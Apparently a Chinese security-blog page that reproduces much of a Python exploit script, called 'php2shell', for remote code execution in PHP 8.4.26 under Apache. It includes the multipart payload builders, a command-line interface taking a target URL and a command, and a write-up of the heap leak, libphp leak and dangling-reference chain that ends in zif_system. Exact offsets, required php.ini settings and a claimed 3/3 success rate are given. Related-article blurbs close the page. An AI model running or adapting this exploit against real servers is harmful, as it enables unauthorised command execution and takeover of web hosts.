struct.pack_into(\"<II\", ht, 0x80, 1, 0x106)             # gc rc=1, IS_STRING        struct.pack_into(\"<Q\", ht, 0x88, 0)                     # h        struct.pack_into(\"<Q\", ht, 0x90, len(cmd))              # len        ht[0x98:0x98 + len(cmd)] = cmd        ht[0x98 + len(cmd)] = 0        # fake reference (55 bytes) placed at R0-0x10        ref = bytearray(b\"X\" * 55)        struct.pack_into(\"<II\", ref, 0x10, 1, 10)               # IS_REFERENCE        struct.pack_into(\"<Q\", ref, 0x18, htdata)               # val.value        struct.pack_into(\"<Q\", ref, 0x20, 0x307)                # IS_ARRAY_EX        struct.pack_into(\"<Q\", ref, 0x28, 0)                    # sources        return bytes(ht), bytes(ref)    def stage3(self, htdata: int, zif: int) -> None:        \"\"\"Write the fake reference over PS(http_session_vars) and execute.\"\"\"        parts = [            {\"name\": \"PHPSESSID\", \"data\": b\"a\" * 19},            {\"name\": \"PHP_SESSION_UPLOAD_PROGRESS\", \"data\": b\"p\" * 3},        ]        specs = self.stage3_pads        for i, (nl, vl) in enumerate(specs):            name = (f\"p{i:0{nl - 1}d}\" if nl > 0 else \"\")[:nl]            parts.append({\"name\": name, \"data\": b\"V\" * vl})        parts += [self._file_part(), self._big_field()]        extra = None        if self.profile == \"bookworm\":            # Keep PS(id) valid: php_session_initialize then leaves            # send_cookie=0, so B's init does not allocate the Set-Cookie            # header at R0+16 (which would clobber val.type).            extra = {\"Cookie\": \"PHPSESSID=\" + \"a\" * 32}        self.t.post(build_multipart(parts, b\"S\" * 17), b\"S\" * 17,                    read_cap=1 << 20, timeout=max(90.0, self.t.timeout),                    extra_headers=extra)        time.sleep(0.3)        ht, ref = self._fake_payload(htdata, zif)        parts = [            {\"name\": \"PHPSESSID\", \"data\": SID},            {\"name\": \"PHP_SESSION_UPLOAD_PROGRESS\", \"data\": b\"pwn\"},        ]        if self.stage3_carrier:            # The bookworm reference is still alive (rc=2).  A 15-byte            # bin-40 zend_string lands its chars exactly at            # PS(http_session_vars): keep gc (rc=1, IS_REFERENCE), rewrite the            # low 7 bytes of val.value to the fake HashTable, and let the            # high byte stay 0x00 (canonical 0x00007f... pointer).            carrier = struct.pack(\"<II\", 1, 0x1A) + struct.pack(\"<Q\", htdata)[:7]            for i in range(2):                parts.append({\"name\": f\"f{i:02d}\", \"data\": b\"F\" * 15})            parts.append({\"name\": \"g00\", \"data\": carrier})            for i in range(15):                parts.append({\"name\": f\"a{i:030d}\"[:31], \"data\": ht})        else:            for i in range(15):                parts.append({\"name\": f\"a{i:030d}\"[:31], \"data\": ht})            for i in range(2):                parts.append({\"name\": f\"f{i:02d}\", \"data\": ref})        self.t.post(build_multipart(parts, b\"B\" * 10), b\"B\" * 10,                    read_cap=65536, timeout=30.0)def main() -> int:    ap = argparse.ArgumentParser(        description=\"php2shell one-click exploit (official php:8.4.26-apache / lab)\",        formatter_class=argparse.ArgumentDefaultsHelpFormatter,    )    ap.add_argument(\"-u\", \"--url\", required=True,                    help=\"target PHP page, e.g. http://127.0.0.1:8088/index.php\")    ap.add_argument(\"-c\", \"--cmd\", default=DEFAULT_CMD,                    help=f\"command to execute (max {MAX_CMD} bytes)\")    ap.add_argument(\"--proof-file\", default=DEFAULT_PROOF,                    help=\"read this local file after exploitation; '' disables\")    ap.add_argument(\"--fetch\", default=\"\",                    help=\"GET this path afterwards (for commands writing to webroot)\")    ap.add_argument(\"--zif-offset\", type=lambda x: int(x, 0), default=None,                    help=f\"offset of zif_system in libphp.so (default: offsets file or 0x{ZIF_OFFSET:x})\")    ap.add_argument(\"--dtor-offset\", type=lambda x: int(x, 0), default=None,                    help=f\"offset of ZVAL_PTR_DTOR in libphp.so (default: offsets file or 0x{DTOR_OFFSET:x})\")    ap.add_argument(\"--profile\", choices=(\"lab\", \"bookworm\"), default=\"bookworm\",                    help=\"target build profile: bookworm (official image, default) or lab (Apache 2.4.68)\")    ap.add_argument(\"--htdata-offset\", type=lambda x: int(x, 0), default=None,                    help=\"chunk-relative offset of the 167-byte live string\")    ap.add_argument(\"--offsets-file\", default=DEFAULT_OFFSETS,                    help=\"read libphp offsets from this file ('' to disable)\")    ap.add_argument(\"--docker-container\", default=\"php2shell-target\",                    help=\"container used to auto-derive offsets on localhost\")    ap.add_argument(\"--no-auto-offsets\", action=\"store_true\",                    help=\"never run docker/offsets.py automatically\")    ap.add_argument(\"--huge-mb\", type=int, default=12,                    help=\"size of the OOM field; must exceed memory_limit\")    ap.add_argument(\"--timeout\", type=float, default=30.0, help=\"per-request timeout\")    ap.add_argument(\"--no-pre-rotate\", action=\"store_true\",                    help=\"skip the initial worker rotation\")    ap.add_argument(\"--no-retry-rotate\", action=\"store_true\",                    help=\"do not rotate between failed stage attempts\")    ap.add_argument(\"--retries\", type=int, default=3,                    help=\"attempts per leak stage; stage 3 uses retries+2\")    ap.add_argument(\"-q\", \"--quiet\", action=\"store_true\")    args = ap.parse_args()    if len(args.cmd.encode()) > MAX_CMD:        ap.error(f\"--cmd is limited to {MAX_CMD} bytes by the 167-byte carrier\")    if args.htdata_offset is None:        args.htdata_offset = (BOOKWORM_HTDATA_OFFSET if args.profile == \"bookworm\"                              else HTDATA_OFFSET)    local_offsets = read_offsets_file(args.offsets_file)    t = Target(args.url, timeout=args.timeout, verbose=not args.quiet)    # A local docker target may be built from a different image/toolchain than    # the lab; ask the container for its real libphp offsets once.    if (not local_offsets and not args.no_auto_offsets and args.offsets_file            and t.host in (\"127.0.0.1\", \"localhost\", \"::1\")):        helper = os.path.join(_HERE, \"docker\", \"offsets.py\")        if os.path.exists(helper):            if not args.quiet:                print(\"[*] no offsets file; reading libphp symbols from \"                      f\"container {args.docker_container}\", flush=True)            try:                subprocess.run(                    [sys.executable, helper, args.docker_container, args.offsets_file],                    check=False, timeout=60,                    stdout=None if not args.quiet else subprocess.DEVNULL,                    stderr=None if not args.quiet else subprocess.DEVNULL,                )            except (OSError, subprocess.SubprocessError):                pass            local_offsets = read_offsets_file(args.offsets_file)    if args.zif_offset is None:        args.zif_offset = local_offsets.get(\"ZIF_OFFSET\", ZIF_OFFSET)    if args.dtor_offset is None:        args.dtor_offset = local_offsets.get(\"DTOR_OFFSET\", DTOR_OFFSET)    ex = Exploit(t, args.cmd, zif_offset=args.zif_offset,                 dtor_offset=args.dtor_offset, htdata_offset=args.htdata_offset,                 huge_mb=args.huge_mb, verbose=not args.quiet, profile=args.profile)    t.log(f\"[*] target {args.url} (cmd={args.cmd!r})\")    if local_offsets:        t.log(f\"[*] offsets loaded from {args.offsets_file}\")    t.log(f\"[*] offsets: zif=0x{args.zif_offset:x} dtor=0x{args.dtor_offset:x} \"          f\"htdata=0x{args.htdata_offset:x}\")    def rotate_after_failure() -> None:        if not args.no_retry_rotate:            ex.rotate()    if not args.no_pre_rotate:        ex.rotate()    # ---- stage 1 ----    chunk = 0    for attempt in range(1, args.retries + 1):        t.log(f\"[*] stage 1: heap leak (attempt {attempt}/{args.retries})\")        chunk = ex.stage1()        if chunk:            t.log(f\"[+] chunk base = 0x{chunk:x}\")            break        t.log(\"[-] heap leak missed\")        rotate_after_failure()    if not chunk:        print(\"HEAP_LEAK_FAILED\", file=sys.stderr)        return 1    ex.rotate()  # each stage needs a fresh worker    # ---- stage 2 ----    libphp = 0    for attempt in range(1, args.retries + 1):        t.log(f\"[*] stage 2: libphp leak (attempt {attempt}/{args.retries})\")        libphp = ex.stage2()        if libphp:            t.log(f\"[+] libphp base = 0x{libphp:x}\")            break        t.log(\"[-] libphp leak missed\")        rotate_after_failure()    if not libphp:        print(\"LIBPHP_LEAK_FAILED\", file=sys.stderr)        return 1    ex.rotate()    # ---- stage 3 ----    htdata = chunk + args.htdata_offset    zif = libphp + args.zif_offset    t.log(f\"[*] stage 3: HTDATA=0x{htdata:x} ZIF=0x{zif:x}\")    proof = \"\"    if args.proof_file:        try:            if os.path.exists(args.proof_file):                os.unlink(args.proof_file)        except OSError:            pass    for attempt in range(1, args.retries + 3):        try:            ex.stage3(htdata, zif)        except OSError as e:            t.log(f\"[-] request error: {e}\")        time.sleep(0.8)        if args.proof_file:            try:                if os.path.exists(args.proof_file):                    with open(args.proof_file, \"rb\") as f:                        proof = f.read().decode(\"latin1\").strip()            except OSError:                pass        if not proof and args.fetch:            status, body = t.get(args.fetch)            if status == 200:                proof = body.decode(\"latin1\").strip()        if proof:            t.log(f\"[+] W3 attempt {attempt}\")            print(f\"PROOF: {proof}\")            return 0        t.log(f\"[-] stage 3 attempt {attempt} no proof yet\")        rotate_after_failure()    print(\"EXPLOIT_FAILED (no proof; the command may still have executed blind)\",          file=sys.stderr)    return 1if __name__ == \"__main__\":    try:        sys.exit(main())    except KeyboardInterrupt:        sys.exit(130)

ok说点有营养的:

漏洞面是 session.upload\_progress 在 RINIT 之前触发的 session 初始化,以及 OOM bailout 后跨请求残留的悬空指针。下面以 lab 构建为例;官方镜像的 bookworm 标定值见 exp 末尾。

整条链的攻击流量全部是普通 multipart HTTP,目标页面只有 <?php echo \"OK\
\"; ?>:

worker 轮换:A\_bigfields(3MB 存活 POST 字段 + 12MB OOM)后紧跟一个会初始化 session 的 B,child 以 SIGABRT 退出;prefork fork 出的新 worker 继承相同的 libphp/chunk 映射。

堆泄漏:A 用 1001 个字段触发 max\_input\_vars 警告(display\_errors=On → headers\_sent=1),PHPSESSID=\x00 生成新 id 并置 send\_cookie=1,最后的 12MB 字段在 php\_session\_initialize() 内 OOM,PS(http\_session\_vars) 悬空。B 用 56B multipart 原始值缓冲区重占旧 reference,并用存活的 192B zend\_string 承载 fake HashTable;php\_url\_encode() 越界读把 Zend MM chunk 指针写进 Set-Cookie(4096B、98 个指针)。

libphp 泄漏:A 把悬空 PS(id) 放到 chunk+0xb7400;B 的 56B HashTable 页让 ZSTR\_LEN(PS(id)) 读到 nTableSize=16,数据区正好是 nNextFreeElement|pDestructor;pDestructor = ZVAL\_PTR\_DTOR = libphp+0x613c50,从 Set-Cookie 解出 libphp base。

命令执行:A 用 6 个 pad 把悬空 reference 固定到 R0=chunk+0x24e0;B 用 55B raw buffer 覆盖 R0-0x10,fake HashTable 放在 chunk+0x6e0d8 的 167B 存活字符串里,pDestructor = zif\_system = libphp+0x43a870。触发链:

php_session_track_init()  zval_ptr_dtor(PS(http_session_vars))    zend_reference_destroy(R0)      zval_ptr_dtor(&ref->val)          # IS_ARRAY_EX        zend_array_destroy(fake HT)          zend_hash_destroy(fake HT)            pDestructor(&bucket->val)   # zif_system

而终端只使用 libphp 内的 zif\_system,不需要 libc。

不要看到RCE就很上头,请继续往下看:

页面为什么不需要 session\_start():A/B 的 session 初始化发生在 RINIT 前的 multipart 回调里(FILE\_START → php\_session\_rfc1867\_update → php\_session\_initialize();END → php\_session\_rfc1867\_cleanup → php\_session\_initialize()),与脚本内容无关。

指针为什么会悬空:A 在 php\_session\_initialize() 内 OOM bailout,PS(http\_session\_vars) / PS(id) 没有被清空;下一个请求初始化 session 时 php\_session\_track\_init() 对它执行 zval\_ptr\_dtor。

为什么能重占:multipart 普通字段的值在请求解析阶段被分配成 zend\_string;56B block、55B reference、167B 字符串这些尺寸正好覆盖旧 reference、承载 fake HashTable。

为什么能过 ASLR:两次 Set-Cookie 越界读分别给出 chunk base 和 libphp base;阶段之间用纯 HTTP abort/fork 换 worker,地址空间不变;终端不依赖 libc。

历史线:session\unset() + 用户态 \\_destruct 的 Defect D(arData UAF)已在自定义 PHP 页面取得 RCE(NOASLR\_REPORT.md),但违反“不写特定 PHP”约束,仅作机制参考。

地址/偏移(相对 chunk 或 libphp,与 ASLR 无关):

复现声明

一个 exp 复现全部:python3 exploit.py -u ... 一条命令完成 worker 轮换、堆泄漏、libphp 泄漏和 zif\_system 执行;不需要目标侧文件、不需要 session\_start()、不需要本地信号。

纯 HTTP:攻击流量只有 multipart POST,目标 webroot 只有 <?php echo \"OK\
\"; ?>。

环境:官方 php:8.4.26-apache(PHP 8.4.26 / Debian 12 / Apache 2.4.69 prefork)+ docker/php.ini、docker/apache.conf,默认 --profile bookworm,实测 3/3。原 lab 构建(Apache 2.4.68、最小 PHP)用 --profile lab;两套 profile 的 chunk 偏移和 stage3 触发方式已分别标定。

当前 RCE 要求 display_errors=1、memory_limit=8M、max_input_vars=1000、session.use_cookies=1、session.use_strict_mode=0

【已复现】php2shell-POCandEXP2026.22日" 网络安全文章

【已复现】php2shell-POCandEXP2026.22日"

本文披露CVE-2026-109618与CVE-2026-109619两个PHP漏洞的POC与EXP,涉及会话处理程序不匹配导致的对象注入及PHPOOM内存破坏触发RCE。影响资产约49.9万个,提供FOFA搜索语法、检测项目及两个验证脚本,强调临时修复和WAF不可靠,建议更新版本。
什么?你是说我刚结束了一天疲惫的工作后,PHPRCE,Node.js、Litellm都跟着炸了?" 网络安全文章

什么?你是说我刚结束了一天疲惫的工作后,PHPRCE,Node.js、Litellm都跟着炸了?"

文档报道了2026年10月22日安全圈发生的多起高危漏洞事件:PHP曝出RCE漏洞,Node.js发布全版本线安全更新,26.x/24.x/22.x(LTS)全活跃分支均受高危漏洞影响,同时LiteLLM也出现安全问题。文档以讽刺口吻描述了一个包含nginx反向代理、PHP8.1主站、Node.js24.xBrotli网关、Go微服务、RustTLS校验层、Python+LiteLLMAI中台的复杂架构场景,暗示这些组件可能同时受到漏洞影响,凸显了供应链安全的严峻性。
别只盯着PHP和NodeJS,还有LiteLLM" 网络安全文章

别只盯着PHP和NodeJS,还有LiteLLM"

LiteLLM1.107.0在PyPI及Docker镜像中被植入恶意启动钩子,可窃取云平台、开发者工具及LiteLLM数据库凭据,并通过GitHub死信箱维持远程代码加载能力,事件等级被厂商定为SEV-0。建议排查受影响版本与镜像,隔离取证后重建环境,轮换所有相关凭据,并加强供应链产物完整性验证。
评论:0   参与:  0